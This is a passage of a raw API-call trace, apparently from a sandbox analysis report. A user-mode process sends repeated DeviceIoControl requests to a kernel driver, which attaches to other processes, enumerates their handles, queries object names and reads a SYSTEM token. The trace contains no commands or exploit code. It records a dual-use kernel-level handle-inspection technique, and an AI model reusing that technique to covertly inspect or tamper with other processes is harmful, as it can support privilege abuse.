(Object=0xfffffa800304b4e0) returned 0x76 [0131.740] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.740] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0131.740] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.740] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.740] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.740] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.740] PsAcquireProcessExitSynchronization () returned 0x0 [0131.740] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.740] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0131.741] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.741] PsReleaseProcessExitSynchronization () returned 0x2 [0131.741] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.741] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.741] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0131.741] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.741] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.741] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.741] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.741] PsAcquireProcessExitSynchronization () returned 0x0 [0131.741] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880050005d0) [0131.741] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0131.741] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.741] PsReleaseProcessExitSynchronization () returned 0x2 [0131.741] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0131.741] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.741] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0131.741] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.741] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.741] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0131.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.741] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0131.741] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0131.741] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0131.741] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa800348ec80 | out: TokenHandle=0xfffffa800348ec80*=0xc8) returned 0x0 [0131.741] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0131.741] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.742] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.742] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.806] CloseHandle (hObject=0xc8) returned 1 [0131.806] CloseHandle (hObject=0xc0) returned 1 [0131.806] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.806] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.807] PsAcquireProcessExitSynchronization () returned 0x0 [0131.807] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.807] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0131.807] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.807] PsReleaseProcessExitSynchronization () returned 0x2 [0131.807] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.807] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.807] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0131.807] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.807] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.807] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.807] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.807] PsAcquireProcessExitSynchronization () returned 0x0 [0131.807] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.807] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0131.807] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.807] PsReleaseProcessExitSynchronization () returned 0x2 [0131.807] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.807] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.807] ObfDereferenceObject (Object=0xfffff8a0089fcde0) returned 0x2 [0131.807] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.807] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.807] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0131.807] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.807] PsAcquireProcessExitSynchronization () returned 0x0 [0131.807] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.807] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089f6320, HandleInformation=0x0) returned 0x0 [0131.807] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.808] PsReleaseProcessExitSynchronization () returned 0x2 [0131.808] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.808] ObQueryNameString (in: Object=0xfffff8a0089f6320, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.808] ObfDereferenceObject (Object=0xfffff8a0089f6320) returned 0x2 [0131.808] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.808] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.808] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.808] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.808] PsAcquireProcessExitSynchronization () returned 0x0 [0131.808] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.808] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003086a20, HandleInformation=0x0) returned 0x0 [0131.808] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.808] PsReleaseProcessExitSynchronization () returned 0x2 [0131.808] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.808] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0131.808] ObfDereferenceObject (Object=0xfffffa8003086a20) returned 0x1 [0131.808] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.808] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.808] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.808] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.808] PsAcquireProcessExitSynchronization () returned 0x0 [0131.808] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.808] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800302d280, HandleInformation=0x0) returned 0x0 [0131.808] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.808] PsReleaseProcessExitSynchronization () returned 0x2 [0131.808] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.808] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.808] ObfDereferenceObject (Object=0xfffffa800302d280) returned 0x1 [0131.808] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.808] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.808] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.809] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.809] PsAcquireProcessExitSynchronization () returned 0x0 [0131.809] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.809] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001049560, HandleInformation=0x0) returned 0x0 [0131.809] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.809] PsReleaseProcessExitSynchronization () returned 0x2 [0131.809] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.809] ObQueryNameString (in: Object=0xfffff8a001049560, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.809] ObfDereferenceObject (Object=0xfffff8a001049560) returned 0x2 [0131.809] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.809] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.809] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0131.809] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.809] PsAcquireProcessExitSynchronization () returned 0x0 [0131.809] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.809] ObReferenceObjectByHandle (in: Handle=0x2a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800302c5d0, HandleInformation=0x0) returned 0x0 [0131.809] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.809] PsReleaseProcessExitSynchronization () returned 0x2 [0131.809] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.809] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.809] ObfDereferenceObject (Object=0xfffffa800302c5d0) returned 0x1 [0131.809] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.809] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.809] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.809] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.809] PsAcquireProcessExitSynchronization () returned 0x0 [0131.809] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.809] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030a0820, HandleInformation=0x0) returned 0x0 [0131.809] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.810] PsReleaseProcessExitSynchronization () returned 0x2 [0131.810] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.810] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.810] ObfDereferenceObject (Object=0xfffffa80030a0820) returned 0x1 [0131.810] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.810] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.810] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0131.810] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.810] PsAcquireProcessExitSynchronization () returned 0x0 [0131.810] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.810] ObReferenceObjectByHandle (in: Handle=0x358, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0131.810] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.810] PsReleaseProcessExitSynchronization () returned 0x2 [0131.810] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.810] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.810] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0131.810] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.810] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.810] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.810] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.810] PsAcquireProcessExitSynchronization () returned 0x0 [0131.810] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.810] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0131.810] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.810] PsReleaseProcessExitSynchronization () returned 0x2 [0131.810] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.810] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.810] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0131.810] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.810] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.811] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0131.811] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.811] PsAcquireProcessExitSynchronization () returned 0x0 [0131.811] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.811] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0131.811] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.811] PsReleaseProcessExitSynchronization () returned 0x2 [0131.811] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.811] ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.811] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0131.811] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.811] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.811] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0131.811] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.811] PsAcquireProcessExitSynchronization () returned 0x0 [0131.811] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.811] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0131.811] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.811] PsReleaseProcessExitSynchronization () returned 0x2 [0131.811] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.811] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.811] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0131.811] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.811] 